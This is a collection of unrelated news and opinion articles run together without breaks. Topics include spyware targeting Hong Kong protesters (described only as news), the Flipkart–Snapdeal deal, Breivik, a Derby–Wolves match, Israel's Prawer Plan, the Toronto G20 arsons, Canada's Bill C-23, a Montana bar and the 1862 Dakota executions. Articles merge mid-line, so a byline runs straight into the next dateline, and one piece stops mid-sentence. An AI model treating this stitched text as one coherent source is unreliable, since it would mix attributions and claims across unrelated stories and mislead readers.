Tens of thousands of protesters have taken to the streets of Hong Kong for the past week out of anger over Beijing's decision to effectively prescreen candidates for the election of Hong Kong's top leader. Amid mounting tension from Beijing, the Communist Party's flagship newspaper has warned that the situation in Hong Kong could spiral into chaos.
Vincent Lau, the 25-year-old co-founder of Code4HK, a group that encourages social change through technology, said his organization was not responsible for the spyware.
Lau, a software developer, pointed out that his organization provides a legitimate Android app consisting of a mobile version of the site. The group, which was founded last year, may have been targeted because of its existing app, or because it maintains a popular portal for news related to the protest, he said.
Tracking work his group has done also found that the spyware came from a machine running a Chinese-language version of Windows, he said.
"I believe it was people who are from pro-China parties in Hong Kong, or from China," he said, adding that he couldn't be certain who is behind the spyware.
--Newley PurnellMUMBAI: The anticipated acquisition of troubled online marketplace Snapdeal by its rival Flipkart will have to deal with Reserve Bank of India rules on foreign exchange and may have to be specially structured to protect the interest of Snapdeal shareholders.Flipkart, the country’s largest ecommerce company which was valued at $11.6 billion after its last funding in April this year, will have to make sure that the acquisition does not violate rules under the Foreign Exchange Management Act ( Fema ), given that its holding company Flipkart Pvt Ltd is domiciled in Singapore.In the proposed all-stock deal, estimated at $700 million-$1 billion, shareholders of Snapdeal would receive Flipkart stock. But issuance of shares by Flipkart Singapore to Indian shareholders of Snapdeal would need a specific permission from RBI. Otherwise, the transaction, in the strict legal sense, could be construed as reverse round-tripping and breach of Fema rules, according to senior lawyers and finance professionals ET spoke to.RBI typically puts a question mark on cross-border transactions that result in residents owning shares of an overseas company that has stake in another Indian company. It views such flow of funds or securities as round-tripping though several such transactions are aimed at serving genuine business interests.In the past six months, RBI has sought explanations from many software, pharma and manufacturing companies whose overseas subsidiaries have raised funds and invested in Indian firms. Flipkart, which is currently undertaking legal and commercial due diligence of SoftBank-backed Snapdeal, primarily operates its ecommerce platform in India through its wholly-owned subsidiary Flipkart Internet Pvt Ltd.However, Snapdeal’s local shareholders, which includes Ratan Tata and PremjiInvest — the personal investment arm of Wipro Chairman Azim Premji — are likely to either prefer a direct stake in Flipkart Singapore or certain ‘economic interest’ in Flipkart’s overseas holding company which when listed would give them an exit opportunity. This would require Flipkart Singapore to issue its shares to the non-resident as well as resident shareholders of Snapdeal (stock swap).“Such a stock swap will need RBI approval for Flipkart Singapore to acquire shares of an Indian company for consideration other than cash, and for the resident Indians to own shares of a foreign company (Flipkart Singapore), which may be governed by the ODI (overseas direct investment) guidelines,” said Prem Rajani, managing partner at law firm Rajani Associates. “However, if the proposed transaction would involve Flipkart Singapore to issue its (Singaporean) company shares to non-resident shareholders of Snapdeal and Flipkart India issues its (Indian) shares to resident shareholders of Snapdeal, then RBI permission may not be required for issue of Flipkart’s Indian company shares to the resident shareholders. If, at a later date (whether at the time of IPO of Flipkart Singapore or otherwise), Flipkart Singapore desires to provide an exit to the erstwhile resident Indian shareholders of Snapdeal (who would by then be Flipkart India shareholders), then such a purchase of shares will have to comply with RBI pricing guidelines,” said Rajani.Neither Flipkart nor Snapdeal responded to ET’s email query.“It’s understandable if Snapdeal shareholders are reluctant to receive shares of Flipkart’s Indian arm because it’s more likely that the Singapore holding company of Flipkart would be listed first. But if they are given shares of the Indian company Flipkart Internet, then they could ask for an option to sell the stock to Flipkart later,” said a banker who is not an advisor to the deal.Flipkart’s other domestic units include Flipkart Payment Gateway Services Pvt. Ltd, Flipkart India Pvt. Ltd, Flipkart Digital Media Pvt. Ltd and Flipkart Online Services Pvt. Ltd. Snapdeal’s overseas investors, including Japan’s SoftBank Group, China’s Alibaba Group and Foxconn Technology Solutions, among others, will be offered stakes in Flipkart’s Singapore-based holding company.’The Fema rule is an issue that Flipkart and Snapdeal will have to deal with to consummate the proposed deal.“While there is no fund flow, there is indirect consideration if Snapdeal shareholders here are issued Flipkart Singapore stock. Flipkart may plan to give an undertaking to convince RBI to the effect there will be no round tripping. In case of specific money flow overseas RBI possibly could have been convinced of such money to be earmarked for non-Indian investment.However, in the situation stated above it may be difficult to convince RBI since there will be no actual money flow whilst parent shall still derive additional value from its subsidiary post the transaction,” said Tejesh Chitlangi, partner at IC Legal.Senior officials of Snapdeal have begun reaching out to the minority stakeholders through Credit Suisse, which is representing Snapdeal in the deal talks, to get their assent for the sale to Flipkart, according to people aware of the matter. Together, shareholders not represented on Snapdeal’s board own nearly 40% of the company.Last month, PremjiInvest, which had invested about Rs152 crore in Snapdeal for about a 1.17% stake in the company, has formally reached out to the company’s board asking for greater clarity on the proposed sale to Flipkart, as well as on the rights of the minority stakeholders.Read Slate’s complete coverage of the tragedy in Norway.
Anders Behring Breivik
In the past 48 hours, Anders Behring Breivik has been described as a racist, a white supremacist, and an anti-Islamic fanatic. News reports of his arrest are now accompanied by analyses of Europe’s failure to absorb its immigrant population, by commentary on the rise of far-right political parties, by discussions of the threats posed to Muslims living in Europe. Having mistakenly assumed that the story of terror in Oslo belonged to the narrative of the war on terrorism, we are now placing it firmly within the equally familiar narrative of white racism and anti-Islamic fanaticism.
Aren’t we missing the point once again? Breivik was not, in fact, a killer of immigrants or Muslims. He was a killer of Norwegians. The particular set of obsessions that led him to madness and then to mass murder were not merely racist. They also sprang from an insane conviction that his own government was illegitimate.
This particular form of obsession is not new. Nor is it confined to blond, white, racist Norwegians. Raskolnikov, the hero of Fyodor Dostoevsky’s Crime and Punishment, brutally murdered a pawnbroker in the name of a vaguely defined “freedom” that was not available in decadent, czarist St. Petersburg. Since then, revolutionaries and madmen of all kinds, from the Russian anarchists to the Irish Republican Army, have justified the murder of innocent people on the grounds that it would hasten the end of an illegitimate government and bring to power some theoretically more authentic regime.
In contemporary America, we also have people who are—and I am inventing this word here—illegitimists: They believe that the president of the United States is illegitimately elected, or that the country is ruled by a cabal that is in turn controlled by some other sinister force or forces. In the past, left-wing illegitimists were quite common, and in fact Marxism is a classic, paranoid version of this creed. The illegitimist Marxist argument goes like this: Bourgeois democracy is a sham; bourgeois politicians and the bourgeois newspapers are tools of shadowy financial interests. The entire system deserves to be overthrown—and if a few people die in the course of the revolution, it’s all for a good cause. Though not every Western Marxist advocated violence, this is certainly the kind of argument that motivated the Weathermen, the Baader-Meinhof gang, and other far-left American and European terrorists of the past.
There is also a right-wing version of this argument, one that has been honed to perfection by novelist Charles McCarry (in Lucky Bastard, he imagines that the Bill Clinton-like American president is a Communist agent and his Hillary-like wife is his controller). More recently, right-wing illegitimism has taken the form of birtherism. The attempt to prove that Barack Obama isn’t American-born was, at base, an attempt to prove that he is illegitimate and that he therefore deserves to be removed from power—somehow. birtherism is also linked to other forms of illegitimism, such as the belief that Obama is a Muslim, and is thus controlled by international jihadists, or the belief that he is “Kenyan” and thus motivated by anti-colonial hatred of white people in general and Americans in particular. It is not accidental that the one note of sympathy for Breivik in the U.S. media came from the lips of birtherist and illegitimist Glenn Beck, who helpfully compared the young Norwegians murdered by Breivik to “Hitler Youth.” Presumably if they are Hitler Youth, then they deserved to die?
Democracy, as a political system, has clear disadvantages, many of which are on display in Washington this week. But democracy has one overwhelming advantage: If conducted according to a pre-arranged set of rules, and if all sides accept those rules, democratic elections produce legitimate political leaders. In addition to being insane, Breivik doesn’t accept the rules of democracy in Norway—and now we see the result. Let’s hope no Americans ever follow his example.James O'Brien's Brilliantly Simple Point On Why Nationalisation Will Work
James O'Brien has one simple reason why nationalisation of our services will work: foreign governments already run many of them.
Labour have proposed bringing a number of services back into public ownership, including the railways, water, energy and Royal Mail.
Critics have claimed that it wouldn't work for the government to run utility companies.
But James had one pithy line that shreds that notion: They already are being run by governments - just foreign ones.
James O'Brien changed a lot of minds about nationalisation. Picture: LBC
Speaking on his LBC show, he said: "There's a philosophical school out there that says nationalised utilities do not work.
"But the pithy, brilliant line we have from the first six or seven years of this decade is that actually governments can own and run utilities in this country. It's just that they usually foreign governments.
"The British philosophical tradition does accommodate the idea of governments running utilities, or at least government owning companies that run utilities, it's just not the British government."Derby County recorded back-to-back wins for the first time this season as they edged out 3-2 winners after an enthralling meeting with Wolves at Molineux.
Steve McClaren’s men hit the gas early on and established a two-goal cushion in the West Midlands as Tom Ince and Darren Bent struck in the opening 15 minutes of the contest.
The Rams should have gone into the half time interval out of sight, but could not add to their two goals despite a hatful of chances, leaving the door ajar for the hosts in the second 45 minutes.
Much better, Wolves did hit back as Hélder Costa and David Edwards struck and had two penalty claims waved away late on, but Ince’s own spot kick conversion in between those finishes proved to be crucial as Derby entered the third international break of the campaign on a winning note.
It was a nail biting finale at Molineux, but that should never have been the case, especially after such a dominant first half display in which Derby looked like they could have scored each time they attacked.
Early doors, Bent could have opened the scoring earlier than Derby actually did, but the 32-year-old got under a precise deep ball in from Johnny Russell and sent the ball high over Andy Lonergan’s crossbar.
The Rams were not to be deterred for long and did still go on to make the perfect start in front of the Sky Sports cameras – opening the scoring after just six minutes through Ince.
Max Lowe, making his return to the starting XI for the first time since Derby’s win over Leeds United, crafted the chance. The 19-year-old whipped in a dangerous cross from the left on to the head of Will Hughes, whose initial header was instinctively saved by Lonergan. His parried stop fell to the feet of Ince, though, who finished high into the roof of the net.
Wolves sought an immediate response. The impressive Ivan Cavaleiro bent an effort narrowly over after Derby, in desperate fashion, struggled to clear their lines, before the same man attempted to turn provider, crossing for Costa, who rashly volleyed over.
It got worse for the hosts soon after, though, as McClaren’s side doubled their lead in sublime fashion.
Remember that early volley Bent sent over? He made no mistake with the second as he first worked hard to win the ball back inside the Wolves half, before finding the feet of Hughes. From there, the Derby midfielder skipped past a couple of challengers, switched the ball on to his left foot and showed great vision to scoop a terrific pass into the path of Bent, who volleyed first time beyond Lonergan.
Aside from a Joao Teixeira effort, Derby were in complete control of this meeting with only a string of fine saves and near misses preventing McClaren’s men from adding to their tally.
Russell saw a shot blocked from inside the area and Bent went within a whisker of another goal after meeting an Ince corner at the near post, sending it agonisingly wide of the far.
Then a combination of Lonergan and the post came to the hosts’ rescue as the ‘keeper got a glove to a Jacob Butterfield effort inside the area, whilst he also got a firm effort to a corner, which had been turned goalwards by one his own defenders.
Rob Edwards, Wolves’ Interim Head Coach, signalled his discontent and made a change shortly after the hour, but the Rams maintained their grip on the contest as they ended first half proceedings strongly.
The Rams held the impressive statistic of winning 12 of their last 13 games in which they had been leading at the interval, but a reinvigorated Wolves side threatened that record with a far better display in the second half.
Like Derby, they could have scored earlier than they did. Cavaleiro appeared to have halved the deficit on 56 minutes after the hosts, patiently, carved out enough space for a shot on goal, but the former Monaco man saw his effort cleared off the line by Richard Keogh.
Five minutes later and it was 2-1. It came about after the Rams failed to clear their lines, leading to Jon Dadi Bodvarsson beating Carson to a loose ball and laying the ball into the path of Costa to find the back of the net.
Hughes was then called upon to deny Wolves an equaliser as he cleared George Saville’s looping header from a corner off the line – a vital clearance as the visitors settled the contest back down and began to take a grip of the game once more.
It also led to Derby scoring the crucial third goal that sealed the victory as Ince, on his father’s old stomping ground, was hauled down in the right corner of the area, leaving Paul Tierney, the referee, no choice but to award a spot kick.
Ince stepped up himself to take the penalty and he made no mistake as he expertly dispatched his effort, sending Lonergan the wrong way.
It was a goal that proved crucial as Wolves fought back once more to make the scoreline 3-2 as Edwards connected with Cavaleiro’s corner and beat Carson at his near post to set up a grand stand finish in the West Midlands.
That came after Cavaleiro was denied a spot kick himself, whilst Wolves saw another penalty claim waved away by Tierney as tensions rose once more.
The game continued to sway one way and then the other too as a combination of Lonergan and the woodwork denied the Rams a fourth as Matěj Vydra cracked the post with an effort, whilst the Wolves ‘keeper denied Bradley Johnson from close range too.
Edwards’ men threw everything at Derby as the contest entered five minutes of added time, but the Rams held on to claim another priceless three points and, importantly, earn back-to-back wins for the first time this season.
Wolves: Lonergan, Doherty, Iorfa, Batth (C), Borthwick-Jackson; Coady (Wallace, 89), Teixeira (Saville, 32), Edwards; Costa, Cavaleiro, Bodvarsson (Dicko, 68)
Substitutes not used: Flatt, Silvio, Stearman, Saiss
Derby County: Carson, Christie (Hanson, 47), Keogh (C), Pearce, Lowe; Johnson, Butterfield, Hughes (Bryson, 90); Ince, Russell, Bent (Vydra, 85)
Substitutes not used: Mitchell, Shackell, Anya, Weimann
Attendance: 19,858 (1,309 away supporters)On June 24th the "Prawer Plan for the Arrangement of Bedouin-Palestinian Settlement in the Negev" passed its first reading in the Israeli parliament. If implemented, the Plan will constitute "the largest single act of forced displacement of Arab citizens of Israel since the 1950s", expelling an estimated forty thousand Palestinian Bedouin from their current dwellings.
The Plan’s ultimate objective is to Judaize the Israeli Negev. In order to do this, however, seventy thousand (out of 200,000) Bedouin who currently live in villages classified as ‘unrecognised’ by the Israeli government must be moved. The government already forbids them from connecting to the electricity grid or the water and sewage systems.
Construction regulations are also harshly enforced, and in 2011 alone about a thousand Bedouin homes and animal pens - usually referred to by the government as mere "structures" - were demolished. There are no paved roads, and signposts from main roads to the villages are removed by government authorities. The villages are not shown on maps, since as a matter of official geography, the places inhabited by these second-class citizens of Israel do not exist.
This transformation of the indigenous into an invader or a "Palestinian settler"... is key to understanding not only the Prawer Plan, but also the very logic of the State of Israel
The government has, for years, argued that because these people live in small villages scattered across a relatively large area, it cannot provide them with basic services and therefore its objective has been to concentrate them in a few townships.
Consequently, in 2009 Prime Minister Binyamin Netanyahu appointed his planning policy chief, Ehud Prawer, to liberate the "Jewish land". Prawer’s main task was to relocate these seventy thousand Bedouin who have refused to sign over their property rights to the State and have continued living in their "unrecognised villages".
The logic informing the plan is actually best expressed in There is a Solution, a 2010 report published by a settler NGO called Regavim (The National Land Protection Trust), which has been working in conjunction with several government agencies. The report maintains that the Negev’s Bedouin inhabitants "rob" the Jewish people "of the Land of Israel…ever so quietly, without the roar of battle and clamour of war."
"On this battlefield", the organisation continues, cement mixers have replaced tanks, ploughs replace cannons and innocent-looking civilians replace uniformed soldiers.... Acre after acre, house after house, buying, squatting, illegally cultivating the soil that is not theirs, sometimes with guile, other times with violence, with huge sums of money and firmly backed by anti-Zionist organisations in Israel and abroad - Israel is losing its hold on the Jewish people’s lands.
Regavim further maintains that Israel has until now "offered the Bedouins ‘carrots’ - but never a ‘stick’", claiming that through their "criminal activity" these Beduin are colonizing the land and thus threatening to "put an end to the Jewish future of the Southern region".
Citing Prime Minister David Ben-Gurion’s famous declaration that "The Negev is the test of the nation in Israel", Regavim offers a four stage solution to counter this threat, which includes curbing "illegal Bedouin construction", preparing the population for removal, evacuating all the "illegal populations", and then transferring them to legal settlements.
Finally, the government must prepare for "the day after" and not allow "matters to return to their original state". "Original state" refers to the existing situation, which in Regavim’s view is characterised by the invasion of Jewish space by Palestinian "illegal populations". According to this narrative, space is, by definition, Jewish and therefore non-Jewish presence is a form of contamination - and the stake of Ben-Gurion’s test.
This is precisely the reasoning behind Prawer’s stick and the way the Palestinian Bedouin have been depicted and treated in the public sphere for years. Responding to a petition submitted to the High Court of Justice against the evacuation of Bedouin villages near the southern town of Arad, the town’s deputy mayor told journalists that the claims of the "insolent invaders" are "disingenuous".
Numerous articles have used the term invader when describing Bedouin activity in southern Israel, while a popular news website notes that the Bedouin have begun invading the country’s central region. Even in a Ha’aretz opinion piece, which supported the High Court of Justice’s ruling against the government practice of spraying poison on "illegal Bedouin agricultural fields", the author refers to the Bedouin population using the term invader.
This transformation of the indigenous into an invader or a "Palestinian settler" - to borrow the phrase recently used by Deputy Defense Minister Danny Danon - is key to understanding not only the Prawer Plan, but also the very logic of the State of Israel. In a context in which Palestinians have been systematically alienated and elided from history and geography, the constitution of the Palestinian native as an illegal subject or foreign invader serves as the condition of possibility for "Judiazing" the land.
The ethos in which all this is being played out is grounded in Israel’s ethnocratic commitment to dispossess the non-Jews, which is cynically elevated to an act of self-defence and, ultimately, |
(P.S. do NOT make a drinking game out of “drink every time Westbrook uses the word execute” because you will decline faster than Lindsay Lohan’s career).
Anyway – today, Tramel finally responded with a column titled “I’m not the only one Russell Westbrook doesn’t like,” which boiled down to Tramel writing that Westbrook doesn’t like ANYONE, including the fans by being so tight-lipped.
There was a period of time today when the article was pulled down due to “site issues,” but then re-posted with a key sentence from the end missing.
Here is the last paragraph:
Familiarity breeds contempt. I get that. But Friday night, in a game the Thunder desperately needed, Westbrook had a game for the ages. And he was mad at the world. Not just me. Mad at everybody. And when he no-answers The Oklahoman and the Thunder website and Channel 5 and The Sports Animal, he’s showing his complete disregard for fans. We’re not there to get our jollies. We’re there because we all have customers intensely interested in the Thunder. The people who buy tickets and the people who watch the games on television so that the Thunder can sell commercials and pay the bills. This is the sentence that was ultimately cut:
When Russell Westbrook says “good execution” to every question, what he’s really saying to the fans is, “I don’t like you.”
And people noticed:
The @NewsOK column on Russell Westbrook is back online but w/ a diff ending. Before: http://t.co/lKKjHhFWCk After: http://t.co/XMQwuG6ZqM — Baxter Holmes (@BaxterHolmes) January 19, 2015
So it looks like The Oklahoman took out at least the last sentence of @BerryTramel Russell Westbrook article. #okc pic.twitter.com/FCW7QMgg25 — Thunderstuff (@tamglamvb) January 19, 2015
If you look at the comments on the article, you can see that they remained even after the article was pulled and then edited because a lot of them point out that the comment about the fans was out of line. That also was probably not a very PR-friendly sentence in terms of maintaining a relationship with the team.
There are a number of conspiricay theories floating around as to why that sentence disappeared. It’s interesting that Tramel’s closing line was removed for making a broad generalization about Westbrook, when other columnists (cough cough Dan Shaughnessy cough cough) are allowed to troll freely and unreasonably. It makes you wonder what the relationship is between the team and the paper.
Regardless of Westbrook’s true feelings for the fans, if he’s surly and disengaged in all interviews, it is hard to draw favorable conclusions about his demeanor without solid evidence. You might not agree with Tramel taking things that far, but it’s a bit disheartening when columnists are censored for expressing what ultimately turn out to be unpopular opinions just to preserve the eventual bottom line. The Oklahoman should answer for why Tramel’s closing remark was removed from the column.
[NewsOK.com]Around that time, Staff Insp. Randy Franks — one of two senior officers in charge of the unit — walked into the investigation’s headquarters on Birmingham St. in the city’s west end and laid down that week’s Maclean’s magazine in front of lead investigator, Det. Sgt. Gary Giroux.
More than three weeks after last year’s G20 weekend, the Toronto detectives investigating all G20-related crimes had yet to identify anyone responsible for setting fire to their police cars.
“It was a little bit of a shot in the arm to say, ‘C’mon, let’s dig deep.’”
The photo seemed to be mocking him, Giroux says.
Splashed across the centre spread was one of their most-wanted suspects: a masked man wearing a red-and-blue UNICEF soccer jersey, running away from the flaming cruiser with what Giroux describes as a “cat’s-swallowed-the-canary” expression on his face.
Nicodemo Catenacci, 41, was sentenced in May to 17 months in jail and ordered to pay $33,733 to the police to cover the cost of the car.
Mdlongwa, 32, is the second person to be found guilty of torching squad car no. 766, which burned sensationally in front of a cheering crowd on Queen St. West in front of Steve’s Music Store.
Shamai did not sentence Mdlongwa to pay any restitution for the cost of the destroyed police car, saying she had no faith in the unemployed man’s ability to pay. She did, however, order him to provide a DNA sample to be included in an arsonists’ database.
Justice Rebecca Shamai credited Mdlongwa with 15 months for the 10 months and 11 days he has spent in pre-trial custody, so his additional six months will make the total 21 months.
Two months later, after a tip from the public, police arrested Lekang Mdlongwa, who was sentenced in an Old City Hall courtroom on Thursday to six more months in jail.
Although Catenacci had a much longer criminal record than Mdlongwa, whose only other offence was a 2006 impaired driving conviction, Shamai said the fact Catenacci pleaded guilty, showed remorse and agreed to seek treatment for his mental illness and drug addiction were the reasons behind his lighter sentence.
A third man, Ashan Ravindhraraj, 26, has been charged with setting fire to the other cruiser at Queen and Spadina Ave. Police have not laid any arson charges in relation to the two cruisers that burned at King and Bay Sts.
Mdlongwa was found guilty after a four-day trial last month produced “an abundance of photographic and video evidence,” provided largely by citizens, showed Mdlongwa lighting garbage on fire inside police cruiser #766, and later stoking the fire while covering the bottom half of his face with a black bandana.
Although Shamai agreed with the defence that Mdlongwa acted entirely out of character, was caught up in the mob mentality of the event and had no political motives, she said the context in which the arson took place cannot be ignored and the offence must be swiftly denunciated as a matter of deterrence.
“To describe it as an inflammatory act is perhaps an unfortunate pun,” she said. “But in this case... the danger of inciting further destruction and riot is real.”
Shamai said Mdlongwa's actions effectively “destroyed the possibility that peaceful protest could take place,” adding that the burning police cruiser has “entered the public consciousness” and injured the reputation of the city.
“To the world, this is what Toronto looked like during the G20 weekend.”
Four police cars were set ablaze on the Saturday of the G20 weekend — June 26, 2010 — when riotous mobs split from the main protest group to rampage through the downtown core, smashing windows and storefronts.
The cruisers were abandoned when they were set upon by a group of violent protesters, police said, adding that “tactical disengagement” was the only way to ensure officers’ safety.
Like Catenacci, Mdlongwa was not part of any political cause or group. “He was just watching the show and got more than a little involved,” assistant crown attorney Elizabeth Nadeau said at a sentencing hearing last week.
Also like Catenacci — who was high on cocaine when he committed his offence — Mdlongwa was intoxicated. He is an alcoholic, who becomes “hyper” when he drinks, Misha Feldmann, Mdlongwa’s lawyer, told the court.
Mdlongwa is the latest conviction for the Toronto Police’s G20 Investigative Team, which has made 43 arrests and laid 257 criminal charges. Established immediately following the summit, the specialized unit was comprised of senior detectives from a wide range of investigative backgrounds within the police force. More than 20 officers and three Crown attorneys were dedicated to the investigation full time for six months following the summit.
The team was not responsible for the high-profile arrests prior to the G20 weekend, including the 17 accused ringleaders facing conspiracy charges, or Byron Sonne, the Forest Hill man accused of possessing homemade explosives.
They used both traditional and social media to disseminate photos of their suspects and relied heavily on the public to aid the investigation, both in terms of compiling evidence and providing identification.
Giroux figures roughly 80 per cent of the 500 videos and more than 40,000 still-photos police compiled came from citizens. “Without the public’s role, we would not have been very successful.”
Police currently have arrest warrants out for five U.S. citizens who have yet to be apprehended. The five Americans — whose names have not been released — are all in the top 10 of the police’s “G20 Most Wanted” list, based on the amount of property damage they caused, Giroux said.
They are also the only outstanding suspects, and police are no longer actively investigating G20 offences.
Giroux admits some vandals have escaped punishment — particularly those who used Black Bloc tactics to effectively conceal their identities — and 17 of the suspects whose photos were released to media have never been identified.
“There was a lot of people who committed criminal acts who didn’t go on to be apprehended just based on how much of a disguise they were wearing.”
Giroux added it is “obviously disappointing” that police have not been able to arrest anyone for setting fire to the two cruisers at King and Bay Sts., where identification was nearly impossible. “King and Bay was all Black Bloc,” Giroux said. “Queen and Spadina was a mob mentality.”
If Toronto were to hold another international event, with security on the scale of what was required at the G20, Giroux said he would like to see a law in place to ban the wearing of a disguise at any time.
Under the Criminal Code, wearing a disguise is only illegal while committing an offence.
“If it was illegal for people to disguise themselves — even if it’s just over a seven-day period — if it was illegal to do that, then things would be totally different.”
G20 Investigative Team Stats
40*
Total number of people arrested for G20 violence and vandalism
257
Criminal charges
13
Convicted of at least one offence
21
Still before the courts
6
Had all charges stayed or withdrawn
5
Arrest warrants for U.S. citizens not yet apprehended
17
Suspects still unknown.
*3 people arrested twice.
Source: Toronto Police ServiceChanges made to the Conservatives' election bill help alleviate fears that some Canadians could lose the right to cast a ballot, but many could still be disenfranchised, British Columbia's former chief electoral officer warns.
Speaking to Evan Solomon, host of CBC Radio's The House, Harry Neufeld says Bill C-23, which will change how elections are run and how Canadians vote, will drive down voter turnout.
"This certainly doesn’t make it easier to vote. This makes it more difficult to vote and, I think, it will effectively drive down the voting turnout numbers," Neufeld said.
At the same time, he said, the process will be more complicated, and could make it harder for election workers to keep proper records.
Neufeld, along with dozens of other witnesses appearing before a House committee, warned that eliminating vouching would mean thousands of Canadians would lose the right to vote. Vouching is a process that lets a voter without identification that proves their address have another person swear to the information.
Pierre Poilievre, minister of state for democratic reform, eventually relented on his proposed fair elections act and, rather than eliminating vouching, is replacing it with an alternative that lets a voter sign a declaration swearing to his or her address, then have someone from the polling division — a subsection of a riding — sign to confirm it.
'Administratively' disenfranchised
Neufeld said he was happy to see Poilievre compromised on the bill, although he outlined some remaining concerns.
"It’s not administratively elegant, but I think [the vouching alternative] does provide some capability for people who are going to have tremendous difficulty proving their address on election day to still get a vote," Neufeld said.
"I think legally they’re not disenfranchised, but administratively they effectively are."
Neufeld, now a consultant who wrote a report for Elections Canada following the 2011 federal election, says election laws need to be simplified, not made more complex. The vast majority of election workers only do the job one day approximately every four years and have little training.
"And this goes exactly the opposite. It makes it far more procedurally complex. There’s many, many more steps and I truly believe that it’s going to slow down the voting process for those people who don’t have some piece of ID that proves where they live. People behind them are going to be waiting 10 minutes for them to be processed so that they can get a ballot," Neufeld said.
Bill C-23 called a 'Band-Aid'
At the same time, he said, it will be harder for election workers to comply with the rules for filling in paperwork.
"This is going to make it very difficult to do it perfectly," Neufeld said.
Elections Canada has committed to doing a compliance review after the next election, he added, urging the government to rewrite the Canada Elections Act to update the law.
"Its best before date has come and gone. We really need to update our procedures," Neufeld said, calling Bill C-23 a "Band-Aid" on the existing law.
"We need to make it really easy for [workers] to give high quality service and be completely compliant with the law."By Ruffin Prevost
LIVINGSTON, MONT. — A downtown fixture for the past century, the Mint Bar in Livingston, Mont. got its name because it was where railroad workers coming off the late shift often cashed their paychecks — and then quickly began drinking their way through that cash. Livingston’s Northern Pacific rail hub closed decades ago, but the bar continues to thrive.
During the height of the railroad era, around the mid 20th century, the Mint was rumored to have had more cash on hand than most local banks. Nowadays, it trades in an even more elusive currency: authentic Western historical experiences.
Walking into the Mint Bar and Theater for the first time, it’s difficult to tell where the original history ends and the modern-day upgrades begin.
That was the whole idea behind a painstaking restoration that began in 2009, said Myra Stein, a friend of the bar’s owner, during a recent tour of the property.
Current owner Merlin Moss bought The Mint Bar in Livingston in 2008 and overhauled the historic building, bringing in details like belt-driven ceiling fans and salvaged church benches that are now used for booth seats. The result is new but familiar twist on an old place, offering a timeless feeling that’s true to the bar’s historic roots without sacrificing modern gloss and comfort.
An ice-filled trough lit from below by a mint-green glow runs the length of the main bar, offering an easy way for patrons to keep their drinks cold on a hot summer day.
A 120-year-old Brunswick back bar is the focal point of the main room. The antique showpiece draws admiring remarks and curious questions from visitors, said bartender Tasha Iglinski.
The renovation involved saving historic elements where possible, like portions of the original metal ceiling tiles, while adding up-to-date touches that don’t look out of place, Iglinski said.
The Mint Bar in Livingston is just one of many “Mints.” Many Western towns have a bar called the Mint, Iglinski said, because it was a common name used to attract railroad workers and others who didn’t do regular business with a bank.
Livingston’s railroad history is on full display in The Mint, where photos from the Doris Whithorn collection show many aspects of town life through the years. Local patrons often notice familiar faces in the historic shots, Iglinski said.
It was the railroad that brought early Yellowstone tourists to Livingston, where they stayed in the building that now houses the Mint Bar in Livingston, then known as the Yellowstone Block Hotel. Well-heeled easterners would travel by train to embark on a grand tour of Yellowstone National Park.
By the prohibition era, the building had been bought by John, William and Orlando Hefferlin, brothers who set up a mercantile business on the ground floor. They also ran a brisk business in bootleg liquor, earning enough regular drinkers to convince two railroad conductors to retire and buy the business, converting it to a bar when prohibition ended. The Mint was issued the first liquor license in the state after prohibition was repealed.
Beneath the bar is a sprawling basement that still holds historic mementos and other treasures from the bar’s early days. Many items have been restored and returned to the public portions of the building. A massive bank vault door was hauled upstairs and installed on the ground floor. The building’s boiler is a hulking, iron beast with a 100-year warranty, and the original manufacturer is still in business, Stein said.
Concrete walls in the basement are up to six feet thick, and underground tunnels run beneath the streets of downtown Livingston, Stein said, connecting to other historic businesses via unseen passages. There is speculation that portions of the tunnels and basements may have been used as opium dens in the town’s early days, Stein said. Graffiti from as far back as 1903 is still visible on The Mint’s basement walls.
Upstairs and behind the main bar is a theater where bands and other live acts perform regularly. The theater also hosts a wide range of movies, from classic black-and-white films to cult comedies to documentaries and other works by local filmmakers.
There are also plans in the works to add a kitchen, Stein said.
The Mint Bar in Livingston once hosted regular poker games, with up to 15 tables going at once and at least one game going at any given time, day or night. But you’re more likely now to witness a lively game of pool. And even your mom is sure to find a suitable song or two on the well-curated list of tunes in the Mint jukebox.
So even if bars aren’t your thing — or your mom’s favorite — there’s still something of interest for everyone at The Mint Bar and Theater. Even if mom has to think of it as having a drink at a historic property of cultural significance.
Contact Ruffin Prevost at 307-213-9818 or [email protected]Liberal Party leader Michael Ignatieff attended a Young Liberals of Canada pub night at the Irish Heather Pub in Vancouver on Wednesday [January 14] and shared a pint and his thoughts with the excited group.
Ignatieff was greeted outside the pub by a pro-Palestinian rally and, during a brief speech inside, he commented on the protest saying "They have the right to be there, they have the right to be heard, they have a right to speak, their anger, their frustration, their sense of grievance, their sense that something terrible is happening and it's not being stopped—is to be respected. I disagree with it, but we have to live with it.”
Ignatieff spoke for several minutes on why he chose to come back to Canada and pursue his political career and encouraged the young crowd to get involved in any capacity they can in order to fight for the Canada they want.
Watch the video of Ignatieff's remarks below.The New York Times published this chilling account of the execution of 38 Dakota men convicted of "murder and other outrages" against settlers during the U.S.-Dakota War of 1862.
THE INDIAN EXECUTIONS
An Interesting Account, from our Special Correspondent.
MANKATO, BLUE EARTH COUNTY, Minn., Friday, Dec. 26, 1862.
The Rev. Stephen Riggs
To-day has been an eventful one for this hitherto quiet little town; and a scene has been here enacted the like of which, those of us who witnessed it, desire to see again nevermore. I allude to the execution of thirty-eight of the condemned Indians, ordered by President LINCOLN to be executed for participation in the late massacres in this State.
Soon after noon on the 22d instant, Col. MILLER, of the Seventh Regiment Minnesota Volunteers, together with his Staff, some clergymen, and a few citizens of this place, visited the condemned in their cells, and informed them of their fate. Rev. Mr. RIGGS (well known to the Indians in his missionary capacity) interpreted Col. MILLER's remarks, and told the miserable men that their Great Father at Washington had ratified the action of the Military Court, and sentenced them to be hung on the following Friday, Dec. 26. They were informed that spiritual advisers, both Protestant and Catholic, were present, and would do all in their power to minister to their comfort during the few days of life still remaining for them. The letter of the President, ordering their execution, was then read in English by Adjt. ARNOLD, and repeated in the Sioux or Dacotah language by Rev. Mr. RIGGS. These communications were received with a grunt of approval, and most of the party to whom they were addressed manifested little or no interest in the matter; the half breeds gave some indications of emotion, but so slight as scarcely to be noticed. With few exceptions the whole party continued their smoking, or rubbed their killikinick between their palms, as a preparatory exercise to inserting it into their little red clay pipes. It is presumed by many that the condemned had been previously informed of the fate awaiting them, and this may, in a measure, account for their unconcern at the official announcement.
INTERVIEWS BETWEEN THE CONDEMNED AND THEIR RELATIVES.
